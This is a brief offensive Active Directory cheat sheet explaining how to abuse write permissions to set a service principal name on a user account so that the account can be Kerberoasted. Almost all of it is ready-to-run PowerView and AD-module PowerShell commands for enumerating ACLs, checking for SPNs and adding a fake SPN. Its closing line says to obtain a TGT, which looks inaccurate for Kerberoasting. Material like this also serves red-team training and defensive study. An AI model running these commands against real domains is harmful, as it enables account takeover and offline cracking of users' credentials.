# Abusing Set SPN ACL To Kerberoasting

### Enumerating the permission for a Group On ACLs (Using PowerView\_Dev):

```powershell
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} 
```

### To Check that a user has a not a SPN

```powershell
Get-DomainUser -Identity aduser | select serviceprincipalname
```

#### Using Active Directory module:

```powershell
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
```

### Set a SPN for the user (must be unique for the domain):

```powershell
Set-DomainObject -Identity aduser -Set @{serviceprincipalname='ops/whatever1'}
```

#### Using Active Directory module:

```powershell
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
```

Now Follow the same process to Get a TGT
